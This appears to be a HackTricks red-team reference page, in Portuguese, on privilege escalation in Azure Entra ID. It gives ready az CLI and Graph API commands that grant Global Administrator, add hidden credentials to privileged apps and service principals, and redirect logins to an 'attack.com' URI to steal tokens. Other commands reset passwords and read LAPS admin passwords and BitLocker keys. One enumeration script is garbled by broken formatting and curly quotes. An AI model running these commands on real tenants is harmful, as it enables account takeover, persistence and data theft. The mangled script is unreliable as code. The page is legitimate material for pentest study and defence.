Az - EntraID Privesc

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks

Note

Observe que nem todas as permissĂ”es granulares que as built-in roles tĂȘm no Entra ID sĂŁo elegĂ­veis para serem usadas em custom roles.

FunçÔes

Role: Privileged Role Administrator

Esta role contém as permissÔes granulares necessårias para poder atribuir roles a principals e para conceder mais permissÔes às roles. Ambas as açÔes podem ser abusadas para escalar privilégios.

  • Atribuir role a um usuĂĄrio:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
  • Adicionar mais permissĂ”es a um role:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'

AplicaçÔes

microsoft.directory/applications/credentials/update

Isso permite que um atacante adicione credenciais (senhas ou certificados) a aplicaçÔes existentes. Se a aplicação tiver permissÔes privilegiadas, o atacante pode autenticar-se como essa aplicação e obter esses privilégios.

# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

Isto permite as mesmas açÔes que applications/credentials/update, mas com escopo limitado a aplicaçÔes de diretĂłrio Ășnico.

az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

Ao se tornarem proprietårios, um atacante pode manipular a aplicação, incluindo credenciais e permissÔes.

az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

Um atacante pode adicionar um redirect URI a aplicaçÔes que estão a ser usadas pelos usuårios do tenant e, em seguida, compartilhar com eles login URLs que utilizem o novo redirect URL para roubar seus tokens. Observe que, se o usuårio jå estivesse autenticado na aplicação, a autenticação serå automåtica, sem que o usuårio precise aceitar nada.

Observe também que é possível alterar as permissÔes solicitadas pela aplicação para obter mais privilégios, mas, nesse caso, o usuårio precisarå aceitar novamente o prompt solicitando todas as permissÔes.

# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

AplicaçÔes Privilege Escalation

Como explicado em this post era muito comum encontrar aplicaçÔes padrĂŁo que tĂȘm permissĂ”es de API do tipo Application atribuĂ­das a elas. Uma permissĂŁo de API (como chamada no console do Entra ID) do tipo Application significa que a aplicação pode acessar a API e executar açÔes sem um contexto de usuĂĄrio (sem um usuĂĄrio logado na aplicação), e sem precisar de roles do Entra ID para permitir isso. Portanto, Ă© muito comum encontrar aplicaçÔes com altos privilĂ©gios em cada tenant do Entra ID.

Então, se um atacante tiver qualquer permissão/role que permita atualizar as credenciais (secret o certificate) da aplicação, o atacante pode gerar uma nova credencial e então uså-la para autenticar-se como a aplicação, obtendo todas as permissÔes que a aplicação tem.

Note que o blog mencionado compartilha algumas permissÔes de API de aplicaçÔes padrão da Microsoft; no entanto, algum tempo após esse relatório a Microsoft corrigiu esse problema e agora não é mais possível fazer login como aplicaçÔes Microsoft. Contudo, ainda é possível encontrar aplicaçÔes customizadas com altos privilégios que podem ser abusadas.

Como enumerar as permissÔes de API de uma aplicação:

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Encontrar as permissÔes de API de todas as aplicaçÔes e marcar Microsoft-owned APIs ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

## Principais de Serviço

### `microsoft.directory/servicePrincipals/credentials/update`

Isso permite que um atacante adicione credenciais a principais de serviço existentes. Se a principal de serviço tiver privilégios elevados, o atacante poderå assumir esses privilégios.
```bash
az ad sp credential reset --id <sp-id> --append

Caution

A nova senha gerada nĂŁo aparecerĂĄ no web console, entĂŁo isso pode ser uma forma stealth de manter persistĂȘncia sobre um service principal.
Pela API elas podem ser encontradas com: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

If you get the error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." it’s because it’s not possible to modify the passwordCredentials property of the SP and first you need to unlock it. For it you need a permission (microsoft.directory/applications/allProperties/update) that allows you to execute:

az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

Isso permite que um atacante adicione credentials a service principals existentes. Se o service principal tiver privilégios elevados, o atacante poderå assumir esses privilégios.

az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Semelhante às applications, esta permissão permite adicionar mais owners a um service principal. Possuir um service principal permite controlar suas credenciais e permissÔes.

# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

Caution

Depois de adicionar um novo owner, tentei removĂȘ-lo, mas a API respondeu que o mĂ©todo DELETE nĂŁo era suportado, mesmo sendo o mĂ©todo necessĂĄrio para remover o owner. Portanto, vocĂȘ nĂŁo consegue remover owners hoje em dia.

microsoft.directory/servicePrincipals/disable e enable

Essas permissÔes permitem desabilitar e habilitar service principals. Um atacante poderia usar essa permissão para habilitar um service principal ao qual consiga obter acesso de alguma forma, a fim de escalar privilégios.

Observe que, para esta técnica, o atacante precisarå de permissÔes adicionais para tomar posse do service principal habilitado.

# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

Essas permissĂ”es permitem criar e obter credenciais para autenticação Ășnica (single sign-on), o que pode possibilitar o acesso a aplicaçÔes de terceiros.

# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"

Grupos

microsoft.directory/groups/allProperties/update

Esta permissĂŁo permite adicionar usuĂĄrios aos privileged groups, levando a privilege escalation.

az ad group member add --group <GroupName> --member-id <UserId>

Nota: Esta permissão exclui grupos atribuíveis a funçÔes do Entra ID.

microsoft.directory/groups/owners/update

Esta permissão permite tornar-se proprietårio de grupos. O proprietårio de um grupo pode controlar os membros e as configuraçÔes do grupo, potencialmente escalando privilégios no grupo.

az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Nota: Esta permissĂŁo exclui os role-assignable groups do Entra ID.

microsoft.directory/groups/members/update

Esta permissĂŁo permite adicionar membros a um grupo. Um atacante poderia adicionar a si mesmo ou contas maliciosas a grupos privilegiados, o que pode conceder acesso elevado.

az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

Esta permissão permite atualizar a regra de associação de um grupo dinùmico. Um atacante poderia modificar as regras dinùmicas para se incluir em grupos privilegiados sem adição explícita.

groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'

Nota: Esta permissão exclui grupos atribuíveis por função do Entra ID.

Dynamic Groups Privesc

Pode ser possível que usuårios escalem privilégios modificando suas próprias propriedades para serem adicionados como membros de dynamic groups. Para mais informaçÔes, consulte:

Az - Dynamic Groups Privesc

UsuĂĄrios

microsoft.directory/users/password/update

Esta permissão permite redefinir a senha de usuårios não administradores, permitindo que um atacante potencial escale privilégios para outros usuårios. Esta permissão não pode ser atribuída a funçÔes personalizadas.

az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

Esse privilĂ©gio permite modificar propriedades do usuĂĄrio. É comum encontrar grupos dinĂąmicos que adicionam usuĂĄrios com base nos valores dessas propriedades; portanto, essa permissĂŁo pode permitir que um usuĂĄrio defina o valor de propriedade necessĂĄrio para se tornar membro de um grupo dinĂąmico especĂ­fico e escalar privilĂ©gios.

#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"

PolĂ­ticas de Conditional Access & MFA bypass

PolĂ­ticas de Conditional Access mal configuradas que exigem MFA podem ser contornadas, verifique:

Az - Conditional Access Policies & MFA Bypass

Dispositivos

microsoft.directory/devices/registeredOwners/update

Esta permissão permite que atacantes se atribuam como proprietårios de dispositivos para obter controle ou acesso às configuraçÔes e dados específicos do dispositivo.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

Essa permissão permite que atacantes associem sua conta a dispositivos para obter acesso ou contornar políticas de segurança.

deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

Esta permissĂŁo permite que atacantes leiam as propriedades das credenciais de conta de administrador local armazenadas em backup para dispositivos ingressados no Microsoft Entra, incluindo a senha

# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

Esta permissĂŁo permite acessar chaves do BitLocker, o que pode permitir que um atacante descriptografe drives, comprometendo a confidencialidade dos dados.

# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Outras permissÔes interessantes (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoie o HackTricks